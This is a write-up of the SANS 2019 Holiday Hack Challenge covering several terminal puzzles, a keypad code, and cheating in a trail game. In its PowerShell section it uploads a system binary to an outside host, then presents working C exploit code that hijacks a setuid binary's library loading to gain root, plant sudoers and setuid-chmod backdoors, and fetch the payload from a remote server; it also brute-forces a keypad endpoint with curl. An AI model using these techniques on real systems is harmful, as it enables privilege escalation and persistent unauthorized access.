SANS 2019 Holiday Hack Writeup

Oh, many UNIX tools grow old, but this one's showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.

-Bushy Evergreen

We must escape the ed editor. This is reminiscent of last year's Essential Editor challenge, where we had to escape vi. vi is actually a descendant of ed.

The website from hint has some useful advice for us:

End all commands with an <enter>

When done editing, give the command "w", then "q".

Following the instructions in the hint, we manage to escape:

1100
w
1100
q
Loading, please wait......



You did it! Congratulations!

Consulting the ed man page, we determine that this issued the "write" (save) command, followed by the "quit" command. We could've combined these into a single wq command, or just quit immediately if we didn't care about potential changes.

I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...

which piece of my command does fail?
I surely cannot find it.
Make straight my path and locate that-
I'll praise your skill and sharp wit!

Get a listing (ls) of your current directory.

To find a file with a specific name, several words in green would work: which, find, and locate. We'll use which, as it takes the PATH environment variable into account. We'll invoke it with the -a flag to list all instances, and not just the first one. If duplicate files exist, the order the directory appears in the PATH will determine which command gets run.

elf@term_path:~$ which -a ls
/usr/local/bin/ls
/bin/ls
elf@term_path:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait......

You did it! Congratulations!

We discover that the real ls is actually /bin/darealmvp. Running that, we're treated to some lovely hidden artwork:

elf@d561ee2abb68:~$ darealmvp -la
total 52
drwxr-xr-x 1 elf  elf   4096 Dec  8 14:19 ' '
drwxr-xr-x 1 elf  elf   4096 Dec  8 14:19  .
drwxr-xr-x 1 root root  4096 Nov 21 19:46  ..
-rw-r--r-- 1 elf  elf    220 Apr 18  2019  .bash_logout
-rw-r--r-- 1 elf  elf   3596 Jan  5 04:17  .bashrc
-rw-r--r-- 1 elf  elf  13838 Nov 21 19:46  .elfscream.txt
-rw-r--r-- 1 elf  elf    807 Apr 18  2019  .profile
-rw-r--r-- 1 elf  elf    401 Nov 21 19:46  rejected-elfu-logos.txt
elf@d561ee2abb68:~$ cat .elfscream.txt 
I'm trapped in an ASCII art factory - send help!

XXXXKKKKKKKKKKKKKKKKKKKKK00000000000000000000000000OOO
XXXKKKKKKKKKKKKKKKKKKK0000000000000000000000000000000O
XXKKKKKKKKKKKKKKKK00000000000000000OOOOOOOOOOOO0OOOOOO
XXKKKKKKKKKKKKK0000000OOOkkkkkkxxxxxxxxkkOOOOOOOOOOOOO
XKKKKKKKKKKK000OOkkxxxxxxxxxxkxddxxddddddodxkOOOOOOOOO
KKKKKKKKK00OkxxxxxxxxxxdxxxxddxxxdddxdddddddooxOOOOOOO
KKKKKKK0OkxxdxxkxxxxkxxxxxxdxxdddddxdddddooooooxOOOOOO
KKKKK0OkkkxxxxkkxxxxxxxxxddxxxxxxxxxddddddooooookOOOOO
NKK0OxxxxxxxxxxxxxxxxxxxxxxxxdxddddddddoooooooookOOOOO
NK0kxxxxkxxxxxxxxxxxxxxxxxxxddddddddoooooollooookOOOOO
KXOxdxxxxxdxxkxdoooollccccc::;:;;;,;,,,',,,,:llkkOOOOO
KKxddxxxddoccxdoloooodxxxxxxkxxxxxxxxkkxxxdoc,,okOOOOO
KKkddkxdxO:lkOOOOOOOOOOOOOOOkkkkxxdxxodoollll:'lkkOOOO
KKkxxxxk00d;;llllcllcc:::c:::;;;;;:::cccc:.  .;xkkOOOO
KKOkxkO000d,cododxddxxxkkkkOOOkkkkkkkkkxxo.   .:kkOOOO
KKkllok00x,,kOOOOOOdoodooxOOOOOOkxc:::ccdx;.  ..:kkOOO
KO;dOx:oOl,dOOO0Oklxc.oklxOOOOOklcd;.:xdcdd..   .okkOO
Kk;dkx:,xc,xOOO0Oxlddlc:dOOOOOOk:dxl:oo:cxx;.    ckkkO
KKk:;;:xOo,dOOO0OOkdooxOOOOOOOOkxc::::cdxxxl ..  'xkkO
KKKK00000k:;xOOOOOOOOOOOOOOk',okkkkkkkkkxxx:.....'xkkO
KKKKK0KK00d;:kOOOOOOOOOOOOk:  .;xkkkkkkkkxx..  .,xkkOO
KKKKK000000x::xOOOOOOOOOOOOdodxkkkkkkkkkkxx.  .'dkkOOO
KKKK00000000Od::okOOOOOOOkkxl,';cdkkkkkkxx: ..;xkkkOOO
KKKK000000000OOo,';xkOOkko'     .,dxxkkxxc...lkkkOOOOO
KKKK000000000OOOkl..dkkkx..  .   .lxxxxx;..'dkkkkOOOOO
KKK00000000000OOOOo.:kkkx.       .cxxxd'  ;xkkkkOOOOOO
KK0000000000000OOOk;'xkkk,       .cxxo...lkkkkkkOOOOOO
KK000000000000OOOOOk,okkko.      .odd'..dxkkkkkkkkkOOO
KK00000000000OOOOOOOo;xkkkc.     ;dd'..lxxkkkkkkkkkkkk
K00000000000OOOOOOOOkl:xkkko;'.,cdd'..:xxkkkkkkkkkkkkk
00000000000OOOOOOOOOOkc:xkkkxxxdoc.  .dxxkkkkkkkkkkkkk
0000000000OOOOOOOOOOOOko:oxxxdl'    .oxxkkkkkkkkkkkkkk
00000000OOOOOOOOOOOOOOkkxl;.     . .:xxkkkkkkkkkkkkkkk
00000OOOOOOOOOOOOOOOOOkkkkxo::'..':dxkkkkkkkkkkkkkkkkk
0000OOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
OOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
🗲                                                                                🗲
🗲 Elf University Student Research Terminal - Christmas Cheer Laser Project       🗲
🗲 ------------------------------------------------------------------------------ 🗲
🗲 The research department at Elf University is currently working on a top-secret 🗲
🗲 Laser which shoots laser beams of Christmas cheer at a range of hundreds of    🗲
🗲 miles. The student research team was successfully able to tweak the laser to   🗲
🗲 JUST the right settings to achieve 5 Mega-Jollies per liter of laser output.   🗲
🗲 Unfortunately, someone broke into the research terminal, changed the laser     🗲
🗲 settings through the Web API and left a note behind at /home/callingcard.txt.  🗲
🗲 Read the calling card and follow the clues to find the correct laser Settings. 🗲
🗲 Apply these correct settings to the laser using it's Web API to achieve laser  🗲
🗲 output of 5 Mega-Jollies per liter.                                            🗲
🗲                                                                                🗲
🗲 Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info.  🗲
🗲                                                                                🗲
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲

We’re in PowerShell and out of our normal element. We’ll be relying heavily on the SANS Cheatsheet for this one.

We'll follow the directions in the logon message first. The SANS Cheatsheet also tells us that Get-Content will display file contents.

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).Content
<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>
PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la

The calling card mentions commands holding riddles in history. Checking the history isn't on our cheat-sheet, but with some searching, we find the following solution:

PS /home/elf> Get-History
  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process
   2 Get-Help -Name Get-*
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).Content
   8 Get-EventLog -Log "Application"
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.
  10 (Invoke-WebRequest -Uri -Uri http://localhost:1225/).Content
  11 Get-Content /home/callingcard.txt

We got the command for setting the angle. We also got a hint pointing us to child items in environment variables. Once more, we do some research, and come up with:

PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).Content
Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> Get-ChildItem env:  
Name                           Value
----                           -----
_                              /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       35dbd250296c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/opt/microsoft/powershell/6/Modules
PWD                            /home/elf
RESOURCE_ID                    undefined
riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
USERNAME                       elf
username                       elf

We find a riddle:

Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.

Let's find the newest file, and uncompress it. We have an example with | sort in the cheatsheet, and the riddle gives us an extra nudge to sort on a particular field. We're on our own for figuring out how to expand an archive, luckily the name is rather intuitive.

PS /home/elf> Get-ChildItem -Recurse /etc | sort LastWriteTime

< truncated >

    Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---            1/4/20  4:25 AM        5662902 archive
PS /home/elf> Expand-Archive /etc/apt/archive
PS /home/elf> Get-ChildItem -Recurse archive
    Directory: /home/elf/archive
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----            1/4/20  4:39 AM                refraction
    Directory: /home/elf/archive/refraction
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

Sounds like we have an ELF binary to run. However, if we try that, we get an permission denied message. We can get past this by fixing the permissions:

PS /home/elf> chmod +x ./archive/refraction/runme.elf
PS /home/elf> ./archive/refraction/runme.elf
refraction?val=1.867

We'll set our second parameter, the refraction, to the correct value, and then check out the riddle from the archive:

PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).Content
Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> Get-Content ./archive/refraction/riddle       
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:

25520151A320B5B0D21561F92C8F6224

We can combine a couple cheatsheet examples to come up with:

PS /home/elf> Get-ChildItem /home/elf -File -Recurse | 
   Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash –eq "25520151A320B5B0D21561F92C8F6224"}

    Directory: /home/elf/depths/produce

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM            224 thhy5hll.txt

The previous command was a bit tricky. Without specifying -File, Powershell tries to hash each directory, which generates an error message. We can now either view /home/elf/depths/produce/thhy5hll.txt, or tweak our previous command:

PS /home/elf> Get-ChildItem /home/elf -File -Recurse | 
   Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash –eq "25520151A320B5B0D21561F92C8F6224"} | 
   Get-Content 
temperature?val=-33.5

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

One more value acquired. The next challenge is similar to how we found the archive, but we do as the riddle says, and pipe the FullNames to Sort Length:

PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).Content
Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Get-ChildItem -Recurse /home/elf/depths).FullName | sort Length

< truncated >

/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/
writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/
play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/
she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/
0jhj5xz6.txt

Viewing that file gives us:

Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

bushy alabaster minty holly

Do this for me and then you /shall/see .

The cheatsheet tells us we can use Get-Process. However, by default, it doesn't include the username. Using the help puts us on the right track:

PS /home/elf> Get-Process
 NPM(K)    PM(M)      WS(M)     CPU(s)      Id  SI ProcessName
 ------    -----      -----     ------      --  -- -----------
      0     0.00      29.46       1.47       6   1 CheerLaserServi
      0     0.00     133.25      67.58      31   1 elf
      0     0.00       3.43       0.03       1   1 init
      0     0.00       0.78       0.00      25   1 sleep
      0     0.00       0.81       0.00      26   1 sleep
      0     0.00       0.80       0.00      27   1 sleep
      0     0.00       0.80       0.00      29   1 sleep
      0     0.00       3.46       0.00      30   1 su
PS /home/elf> Get-Process -?
NAME
    Get-Process
    
SYNTAX
    Get-Process [[-Name] <string[]>] [-Module] [-FileVersionInfo] [<CommonParameters>]
    
    Get-Process [[-Name] <string[]>] -IncludeUserName [<CommonParameters>]

< truncated >

PS /home/elf> Get-Process -IncludeUserName
     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     29.46     1.56       6 root                           CheerLaserServi
    134.27    67.73      31 elf                            elf
      3.43     0.03       1 root                           init
      0.78     0.00      25 bushy                          sleep
      0.81     0.00      26 alabaster                      sleep
      0.80     0.00      27 minty                          sleep
      0.80     0.00      29 holly                          sleep
      3.46     0.00      30 root                           su

At this point, we know that we need to kill the processes in the right order (25, 26, 27, 29). We could search for how to kill processes in Powershell, or we could use the built-in tools, as directed by the cheatsheet:

PS /home/elf> Get-Command *Process
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Stop-Process                                                  
Cmdlet          Debug-Process                                      6.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Enter-PSHostProcess                                6.2.3.0    Microsoft.PowerShell.Core
Cmdlet          Exit-PSHostProcess                                 6.2.3.0    Microsoft.PowerShell.Core
Cmdlet          Get-Process                                        6.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Start-Process                                      6.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Stop-Process                                       6.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Wait-Process                                       6.1.0.0    Microsoft.PowerShell.Management
PS /home/elf> Stop-Process 25
PS /home/elf> Stop-Process 26
PS /home/elf> Stop-Process 27
PS /home/elf> Stop-Process 29

At this point, we're stuck a bit, until we re-read the clue:

PS /home/elf> Get-ChildItem /shall
    Directory: /shall
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---            1/4/20  9:02 PM            149 see
PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.

Once more, adapting an example from the cheatsheet:

PS /home/elf> Get-ChildItem /etc -recurse -include *.xml

    Directory: /etc/systemd/system/timers.target.wants

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml

At this point, the training wheels are off, and we need to find a way to parse this file, and group the ids ourselves. After a few iterations, we find:

PS /home/elf> Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml | group Id            
Count Name                      Group
----- ----                      -----
    1 1                         {System.Diagnostics.Eventing.Reader.EventLogRecord}
   39 2                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eve…
  179 3                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eve…
    2 4                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord}
  905 5                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eve…
   98 6                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eve…
PS /home/elf> Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml | where {$_.Id -eq 1}
Message              : Process Create:
                       RuleName: 
                       UtcTime: 2019-11-07 17:59:56.525
                       ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}
                       ProcessId: 3664
                       Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                       FileVersion: 10.0.14393.206 (rs1_release.160915-0644)
                       Description: Windows PowerShell
                       Product: Microsoft® Windows® Operating System
                       Company: Microsoft Corporation
                       OriginalFileName: PowerShell.EXE
                       CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
                       "`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    
                       Ne=22`n    Ar=11`n    Xe=10`n    F=20`n    Kr=8`n    Rn=9`n}`n"

With this, we have our last parameter. We think that `n is actually a newline. We just need to set the gas mixture, turn on the laser, and check the output:

PS /home/elf> $correct_gases_postbody = @{
>>     O=6
>>     H=7
>>     He=3
>>     N=4
>>     Ne=22
>>     Ar=11
>>     Xe=10
>>     F=20
>>     Kr=8
>>     Rn=9
>> }
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Body $correct_gases_postbody -Method POST ).Content
Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).Content
Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/output).Content

Success! - 5.23 Mega-Jollies of Laser Output Reached!

This terminal was incredibly challenging for us. We couldn’t tell if it was painful simply due to our lack of experience with Powershell, or because we were meant to solve it a different way (perhaps through container escape?).

Solving it only using Powershell was rewarding, but we had a nagging feeling that something wasn't quite right. We had figured out that we were running Powershell on Linux within Docker. Because of this, even though it’s running Powershell, standard Linux permissions apply. One glaring exception to this was being able to stop other users' processes. We decided to take a deeper look at the Stop-Process alias.

PS /home/elf> Get-Alias -Definition Stop-Process
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           kill -> kill                                                  
Alias           spps -> kill       
PS /home/elf> Get-Command -All kill
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           kill -> kill                                                  
Application     kill                                               0.0.0.0    /usr/bin/kill

Poking around at the kill command, we notice that it's not respecting any options that the usual version of kill uses. Additionally, it's usually installed in /bin and not /usr/bin. We suspect this file has the setuid permission, so it will run with elevated privileges.

We'll pull the file off the system and examine it more closely. Since this container is connected to the Internet, there's a number of ways we can retrieve the file. We'll encode the file, do an HTTP POST to a server that will store uploads, then compare hashes for integrity.

PS /home/elf> $wc = New-Object System.Net.WebClient
PS /home/elf> $wc.UploadFile("http://example.net","/usr/bin/kill")
PS /home/elf> Get-FileHash -Algorithm MD5 /usr/bin/kill
Algorithm       Hash                                                                   Path
---------       ----                                                                   ----

MD5             C2969E791C5623A6F3A4F354430241D3                                       /usr/bin/kill

On a different system, we determine this is a Linux (ELF) binary, and is dynamically linked. It pulls in some libraries as dependencies.

vlad@test $ file kill
kill: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, 
  for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
vlad@test $ ldd ./kill                                                                                                                                                                                                                                  
        linux-vdso.so.1 (0x00007fff5bb9c000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fc2210cc000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fc220eaf000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc220abe000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc2212d0000)

Normally this would be sufficient for an attack, as we can use LD_PRELOAD to load a malicious library before the program executes. However, the dynamic loader (ld) by default runs in "secure-execution mode" for setuid binaries, to prevent just this type of attack.

We'll inspect its behavior with ltrace, which will log calls to standard library functions.

vlad@test $ ltrace -f -o test_kill_abcdabcd ./kill abcdabcd
vlad@test $ head test_kill_abcdabcd
4042 __libc_start_main(0x401a70, 2, 0x7fff6f577e28, 0x405390 <unfinished ...>
4042 calloc(1, 16528)
4042 readlink(0x4057c4, 0x7fff6f574d20, 4096, 0)
4042 stpcpy(0x7fff6f576d20, "/home/vlad/kill")
4042 __strcpy_chk(0x7fff6f573d10, 0x7fff6f574d20, 4096, 0x7ff164c2c000)
4042 dirname(0x7fff6f573d10, 0x7fff6f574d20, 16, 3360)
4042 strcpy(0x7fff6f575d20, "/home/vlad")
4042 getenv("_MEIPASS2")
4042 unsetenv("_MEIPASS2")
4042 strnlen(0x7fff6f575d20, 4096, 0x7fff6f574d2a, 95)

Right off the bat, we see the program trying to load an environment variable named _MEIPASS2. Searching tells us this comes from McMillan Enterprise Installer, the ancestor of PyInstaller. If we set it and re-run, we see:

vlad@test $ _MEIPASS2=pass2_value ltrace -f -o test_kill_abcdabcd ./kill abcdabcd
[5664] Error loading Python lib 'pass2_value/libpython3.6m.so.1.0': 
    dlopen: pass2_value/libpython3.6m.so.1.0: cannot open shared object file: No such file or directory

Well, that was easy. We've found a way to load a malicious shared-object (library) file. At this point, we built a shared-object file to verify our assumption that kill was setuid root, which it was. In the interest of time, we'll skip that, and present our exploit code. This was made more complicated due to the fact that many tools had been removed.

#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
  FILE* sudoers;

  // Don't want subsequent PyInstaller binaries to break
  unsetenv("_MEIPASS2");

  // Escalate to root
  setgid(0);
  setuid(0);

  // Fix restricted permissions
  chmod("/usr/bin/sudo", 04111);

  // Make chmod setuid-root
  chmod("/bin/chmod", 04755);

  // Add ourselves to /etc/sudoers
  char* line = "elf ALL=(ALL) NOPASSWD:ALL\n";
  chmod("/etc/sudoers", 0666);

  sudoers = fopen("/etc/sudoers", "a");
  fwrite(line, sizeof(char), strlen(line), sudoers);
  fclose(sudoers);

  // sudo won't run without correct permissions
  chmod("/etc/sudoers", 0444);
}

This code installs two backdoors. First, we set chmod setuid root, so we can change permissions on any file. We also add ourselves to be able to run any command as root via sudo. We can build this into a shared-object file with: gcc -Os -fPIC -shared -o libpython3.6m.so.1.0 exploit.c -nostartfiles.

We set our environment variable, download the file, and, upon running kill, the system will load our library and execute the code in the _init function.

PS /home/elf> $Env:_MEIPASS2 = "/home/elf"
PS /home/elf> Invoke-WebRequest -Uri https://example.net/libpython3.6m.so.1.0 -OutFile libpython3.6m.so.1.0
PS /home/elf> kill                                                                                                                                                                                                                
[118] Cannot dlsym for Py_DontWriteBytecodeFlag                                                                                                                                                                                   
PS /home/elf> sudo su -                                                                                                                                                                                                           
-su: groups: command not found                                                                                                                                                                                                    
-su: /usr/bin/locale-check: No such file or directory
-su: mesg: command not found
root@term_powershell:~#

While we may be root it’s a limited victory, as we’re still on an injured system with many useful files removed.

Exploring the right side of the Quad, we find Tangle Coalbox, who needs our help:

Sure enough, if we inspect the keypad closely, we notice that some keys look different:

Using the clues from Tangle, we determine that we're looking for a 4-digit prime number, composed of 1, 3, and 7, with one number repeated once.

The following Python snippet will generate all the options:

# We start with our keys
warm_keys = ["1", "3", "7"]

for option in itertools.product(warm_keys, repeat=4):
    # Remove anything where the most common element appears more than twice
    most_common, count = collections.Counter(option).most_common(1)[0]
    if count > 2:
        continue

    # Convert to int
    num = int("".join(option))

    if is_prime(num):
        print(num)

There's only five options: 1373, 1733, 3137, 3371, 7331. At this point, astute observers might recognize 7331 as "leet" backwards, and sure enough, that's the answer. If not, it's easy enough to try the five possibilities.

For the truly l33t, however, we offer this snippet:

for num in $(tools/keypad_solution.py)
    do echo "Trying $num..."
    curl -XPOST "https://keypad.elfu.org/checkpass.php?i=$num&resourceId="
    echo
done

The requirements to win the game are:

1. Travel a distance of 8,000,
2. Always have at least 2 runners,
3. Always have at least 1 reindeer,
4. Always have at least 1 person with health > 0,
5. Arrive by December 25th.

If your goal is to complete the game "legitimately," we offer the following tips.

There are 4 characters traveling together who will need to be fed or will starve. Starving, or other conditions, will cause the characters to lose health. Characters can be suddenly healed of their affliction, or they can be treated with medicine.

On the trail you will usually move forward by a distance depending on how many reindeer you have and your pace:

Your characters will eat food according to the pace, with 2, 3, or 4 food eaten per (alive) character per day.

While you're on the trail, four types of events can happen. Your characters can be struck by an illness ("Low Blood Sugar," "No Holiday Cheer," or "Toothache"), or they can suddenly feel better or be filled with holiday cheer, which will remove the illness effects. Similar good and bad events can happen with your travel and supplies:

The travel events happen in isolation, i.e. over 100,000 samples we never observed two bad travel events occuring simultaneously, or two good travel events. One good and one bad travel event can occur at the same time, though.

Events dealing with your characters' health can occur multiple times on a turn (multiple good events, multiple bad events, or even a combination).

Based on these samples, we estimate the following probabilities of one such event occuring on a given turn:

When you encounter a body of water, you can try to ford the river, hire a ferry for 100 money, or caulk and float across.

Finally, you have two more actions available. Hunting will return between 0 and 76 morsels of food, roughly with equal probability. When trading, you'll request a certain type of item. If you can find someone willing to trade with you, you'll be offered a random amount and type of another item.

Chris's talk gives us a great overview of how to cheat in the game. When you first load the game, you're asked to choose a difficulty. Viewing the source code of that page reveals the following:

<!-- possibly vulnerable to URL param manipulation -->
<li><b>Easy:</b> Start with 5000 money on 1 July</li><br>
<!-- params moved to body of POST request -->
<li><b>Medium:</b> Start with 3000 money on 1 August</li><br>
<!-- add hash integrity to ensure there's NO cheating! -->
<li><b>Hard:</b> Start with 1500 money on 1 September<br><br></li>

Starting a game on easy, we see a text bar with some parameters. As we play the game, these parameters change to reflect the current status. Playing with the numbers, we discover the following maximum values:

To win, we simply set the distance to be over 8,000, click the arrow next to the text bar, and then hit "Go":

On easy, we see the following code hidden in the source code of the victory page:

I'm sorry, but our princess is in another North Pole.

On medium, we can no longer modify the parameters quite as easily. However, Chris's video once again has a solution for us. We can use our browser's Developer Tools to modify the parameters, or use a proxy such as Burp or ZAP. Again, we simply set the distance to be over 8,000, and hit "Go":

This time, we see:

Wow! What a great job! … But I think you can do even BETTER.

On hard, things get serious. Each response carries a hash generated by the server, and if we modify any parameters, the hash will not match. There are a couple of ways around this:

1. Armed with our strategy guide, stop cheating and win!
2. If something bad happens, just reload the page and hope for a different result,
3. Crack the hash,
4. Bypass the hash.

Watching Chris's video, we see some interesting looking server-side code appear at one point, though some of it is truncated:

def hashStatus(status):
  if debuggin: print(f'{OV}--{inspect.currentframe().f_code.co_name) with status of 
  try:
    hashvalue = status["Money"] + status["Distance"] + status["Day"] + status["Month
    hashvalue += status["Reindeer"] + status["Runners"] + status["Ammo"] + status["M
    return {"Success":True, "Hash":md5it(str(hashvalue))
  exception Exception as ex: # catch exceptions
    print(f'{OE"*** Exception in hhctrail_funcs.py, {inspect.currentframe().f_code.c
    return {"Success":False, "Error":f"{inspect.currentframe().f_code.co_name}-Excep

As we play around with the parameters (using the same method as in the medium difficulty), we also notice some interesting facts. The hash doesn't include anyone's health, so to save time and money, stop feeding them, and just reset their health once they inevitably starve. Additionally, if we increase one value by a number, decreasing another value by the same number causes our hash to stay the same. In looking at the server-side code from the video, we see that a number of parameters are added together. This could either be integer addition, or string concatenation. We have a couple of clues that it's integer addition. First, our maximum values align with maximal 8, 16, and 32-bit integers. Additionally, we see the hash calculation as md5it(str(hashvalue)), which converts the hash value to a string before hashing it.

By either playing around with numbers, or searching for some hashes online, we quickly determine that the hash is simply the MD5 of the sum of money + distance + day + month + food + reindeer + runners + ammo + money. We can now set these to arbitrary values, send the correct hash, and view the hidden message on the victory page:

<!-- 1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney!  It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp! -->

